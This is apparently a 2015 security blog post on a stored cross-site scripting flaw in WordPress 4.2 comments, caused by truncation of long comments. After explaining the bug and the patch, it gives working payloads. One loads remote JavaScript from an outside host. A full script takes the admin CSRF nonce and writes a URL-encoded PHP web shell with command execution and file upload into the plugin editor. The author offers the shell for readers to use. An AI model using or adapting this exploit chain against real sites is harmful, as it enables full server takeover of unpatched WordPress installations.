Monthly Archives: May 2015

WordPress 4.2 Comment Field Overflow Exploit

While far from unique, the recent vulnerability in the WordPress 4.2 comment system is exceptionally egregious. The vast majority of WordPress attacks effect user installed plugins. Though these plugins often receive wide usage exploitation of associated vulnerabilities is limited to those users who individually added this content to their site. This vulnerability comes packaged with the default WordPress build.

What’s the big deal?

WordPress is the most popular blogging system in the world, and is used by over 60 million websites. The WordPress Content Management System (CMS) is so popular that it often sees usage on more then just blogs, yes even e-commerce sites. 23.3% of the top 10 million websites are WordPress, and unless these sites disabled the default comment system or installed an alternate comment plugin they are ALL vulnerable.

WordPress released an emergency patch for this vulnerability. If automatic updates are allowed the patch is pushed with 4.1.4. Alternately, upgrading WordPress to version 4.2.2 resolves this issue.

Comment Field Overflow Vulnerability

The vulnerability was discovered by Jouko Pynnonen and exploits a stored Cross Site Scripting (XSS) flaw. Effected software packages:

  • WordPress 4.2
  • WordPress 4.1.2
  • WordPress 4.1.1
  • WordPress 3.9.3

The bug itself is a result of a MySQL database limitation for very long posts. When WordPress stores the content of these uber long comments in the database MySQL truncates the result. This means that the closing tags in an HTML field like <a title are lost when the comment is loaded into the database. mysql-snip

Contents of the mysql database once the comment has been truncated and inserted

Theoretically, the truncation would break the tag rendering the XSS invalid. As a result WordPress fails browser-fix2to filter the content. In practice, however, while WordPress certainly fails to filter the dangerous content the user’s browser is much more helpful.

Because HTML is such a versatile language adherence to best practice coding syntax is not… universal. As a result browsers attempt to automatically fix coding issues like broken tags. The browser (tested in Chrome and Firefox) will add in an enclosing </a> tag as seen in the source code shot pictured.

And that gentlemen, is code execution. Now for the fun part, getting a shell!

Proof of Concept Alert

The proof of concept exploit below can be used to determine whether a site is vulnerable.

<a title='x onmouseover=alert(unescape(/hello%20world/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px  AAAAA [64KB More As] AAA'></a>

Screen Shot 2015-05-16 at 6.54.02 PM

Executing Arbitrary Javascript

In order to fully leverage this attack we need to gain the ability to execute arbitrary JavaScript. This can be accomplished by hosting an external .js source file and using eval() embedded in an onmousover event against the target. See below:

<a title='xxx onmouseover=eval(unescape(/var%20a%3Ddocument.createElement%28%27script%27%29%3Ba.setAttribute%28%27src%27%2C%27http%3A%2f%2f10.0.0.184%2fexploit.js%27%29%3Bdocument.head.appendChild%28a%29/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px  AAAAA [64KB More As] AAA'></a>

Escalating To Shell Access in WordPress

Now that we have the ability to execute arbitrary remote JavaScript on the target we need to come up with a snazy way to use it! In WordPress an Administrator can use the builtin plugin editor to modify installed plugins. This effectively means: there is a page on the site that takes POST requests with PHP code!!!! Hint: The page is called plugin-editor.php

Using the xmlHTTPRequest() AJAX library we can make post and get requests with JavaScript. We first make a get request to a random page to get an admin csrftoken. The next step is to pull the token out of the HTTP response data and replay it to the plugin editor along with our payload. In this case I urlencoded my personal PHP shell (because I know the code and like it better than c99 and others). You are welcome to use it if you want, use the urldecoder here and the source below if interested. Alternately, you could just urlencode a PHP meterpreter and browse to the location whenever you are in need of a session.

Note: This attack overwrites one of the WordPress default plugins. I like to use akismet/akismet.php because it is installed be default and performs a useful function (as opposed to the hello dolly plugin, which I typically delete on my personal WordPress installs).

function get(url)
{
    var http = null;

    http = new XMLHttpRequest();
    http.open( "GET", url, false );
    http.send( null );
    return http.responseText;
}


function post(url, csrftoken)
{
    var http = null;

    http = new XMLHttpRequest();
    http.open( "POST", url, false );
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    http.send("_wpnonce=" + csrftoken + "&_wp_http_referer=/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=78%3C%21-----------------------------------------------------------------%0A%09%09%090sm0s1z%0A%0AThe+Purpose+of+this+file+is+to+act+as+a+Remote+File+Inclusion+vector+to+exploit+a+web+page+through+a+Persisten+Vulnerability.%0A------------------------------------------------------------------%3E%0A%0A%3Chtml%3E%0A%3Ctitle%3EH4X0R3D%3C%2Ftitle%3E%0A%3Chead%3E%0A%0A%3C%21------------------------------%0Awanna+put+some+javascript+here%3F%0A-------------------------------%3E%0A%0A%3C%2Fhead%3E%0A%0A%3Cbody%3E%0A%0A%3C%21---------------------------------------------%0APHP+Terminal%0A----------------------------------------------%3E%0A%0A%3Ch3%3ETerminal%3A%3C%2Fh3%3E%0A%0A%0A%3Cform+method%3D%22post%22+action%3D%22%3C%3Fphp+echo+%24_SERVER%5B%27PHP_SELF%27%5D%3B%3F%3E%22%3E%0A0sm0s1z%3E%3Cinput+type+%3D+%22text%22+name+%3D+%22cmd%22+%2F%3E%0A%3C%2Fform%3E%0A%0A%3C%3Fphp%0Aif%28isset%28%24_POST%5B%27cmd%27%5D%29%29%0A%7B%0A%0A%0A%0Aecho+%27%3Cpre%3E%27%3B%0A%0A%24cmd+%3D+%24_POST%5B%27cmd%27%5D%3B%0A%0A%24last_line+%3D+system%28%24cmd%2C+%24retval%29%3B%0A%0A%2F%2F+Printing+additional+info%0Aecho+%27%0A%3C%2Fpre%3E%0A%3Chr+%2F%3ELast+line+of+the+output%3A+%27+.+%24last_line+.+%27%0A%3Chr+%2F%3EReturn+value%3A+%27+.+%24retval%3B%0Aecho+%27%3Chr+%2F%3E%27%3B%0A%0A%0A%7D%0A%3F%3E%0A%0A%0A%3C%21---------------------------------------------%0APHP+File+Upload+With+Directory+Selection%0A----------------------------------------------%3E%0A%0A%3Ch3%3EFile+Upload%3A%3C%2Fh3%3E%0A%0A%3Cform+enctype%3D%22multipart%2Fform-data%22+action%3D%22%3C%3Fphp+echo+%24_SERVER%5B%27PHP_SELF%27%5D%3B%3F%3E%22+method%3D%22POST%22%3E%0A%3Cinput+type%3D%22hidden%22+name%3D%22up%22+%2F%3E%0AChoose+a+file+to+upload%3A+%3Cinput+name%3D%22uploadedfile%22+type%3D%22file%22+%2F%3E%3Cbr+%2F%3E%0AFile+Path%3A%3Cinput+type+%3D+%22text%22+name+%3D+%22path%22+%2F%3E%3Cbr+%2F%3E%0A%3Cinput+type%3D%22submit%22+value%3D%22Upload+File%22+%2F%3E%0A%3C%2Fform%3E%0A%0A%3C%3Fphp%0Aif%28isset%28%24_POST%5B%27path%27%5D%29%29%0A%7B%0A%0A%0A%24target_path+%3D+%22%22%3B%0A%0A%24target_path+%3D+%24_POST%5B%27path%27%5D%3B%0A%0A%24target_path+%3D+%24target_path+.+basename%28+%24_FILES%5B%27uploadedfile%27%5D%5B%27name%27%5D%29%3B+%0A%0Aif%28move_uploaded_file%28%24_FILES%5B%27uploadedfile%27%5D%5B%27tmp_name%27%5D%2C+%24target_path%29%29+%7B%0A++++echo+%22The+file+%22.++basename%28+%24_FILES%5B%27uploadedfile%27%5D%5B%27name%27%5D%29.+%0A++++%22+has+been+uploaded%22%3B%0A%7D+else%7B%0A++++echo+%22There+was+an+error+uploading+the+file%2C+please+try+again%21%22%3B%0A%7D%0A%0A%0A%0A%7D%0A%3F%3E%0A%0A%0A%0A%3C%21---------------------------------------------%0AVulnerability+Test+Box%0A----------------------------------------------%3E%0A%0A%3Ch3%3ETest+Vectors+Here%3A%3C%2Fh3%3E%0A%0A%3Cform+enctype%3D%22multipart%2Fform-data%22+action%3D%22%3C%3Fphp+echo+%24_SERVER%5B%27PHP_SELF%27%5D%3B%3F%3E%22+method%3D%22POST%22%3E%0A%3Cinput+type+%3D+%22text%22+name+%3D+%22test%22+%2F%3E%0A%3C%2Fform%3E%0A%3C%3Fphp%0Aif%28isset%28%24_POST%5B%27test%27%5D%29%29%0A%7B%0A%0A%24test+%3D+%24_POST%5B%27test%27%5D%3B%0A%0Aecho+%24test%3B%0A%0A%7D%0A%3F%3E%0A%0A%0A%0A%0A%0A%0A%3C%21---------------------------------------------%0AInclusion%0A----------------------------------------------%3E%0A%0A%0A%3Chr+%2F%3E%0A%3Cpre%3E%0Ainject%3A%09++%09+include%28%27mysite.php%27%29%3B+%3Cbr%3E%0ATo+exploit+Remote+File+Inclusion+Vulnerability%0A%3C%2Fpre%3E%0A%3Chr+%2F%3E%0A&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File");
    return http.responseText;

}

var page = get("/wp-admin/plugin-editor.php?file=akismet%2Fakismet.php&plugin=akismet%2Fakismet.php");

var regExp = /name=\"_wpnonce\"\svalue=\"([^)]+)\"/;
var matches = regExp.exec(page);
var csrftoken = matches[1].slice(0, 10);

post("/wp-admin/plugin-editor.php", csrftoken);

The WordPress 4.2 Comment Exploit

I wrote a Metasploit module to trigger this vulnerability:

https://github.com/0sm0s1z/WordPress-Comment-Overflow

session

The Patch

WordPress patched this flaw by disabling long comments…. Well Done….

wp-patch

Conclusion

Hopefully this post was an interesting read! If you have any thoughts on the WordPress 4.2 Comment Exploit, my Metasploit module, or a suggestion/topic you’d like covered let me know in the comments below. FYI I use Disqus, sorry :)

Further Reading:

[1] https://blog.sucuri.net/2015/04/critical-persistent-xss-0day-in-wordpress.html
[2] http://arstechnica.com/security/2015/04/just-released-wordpress-0day-makes-it-easy-to-hijack-millions-of-websites/
[3] http://thehackernews.com/2015/04/WordPress-vulnerability.html
[4] http://klikki.fi/adv/wordpress2.html
[5] https://core.trac.wordpress.org/changeset/32311/branches/4.2/src/wp-admin/includes/upgrade.php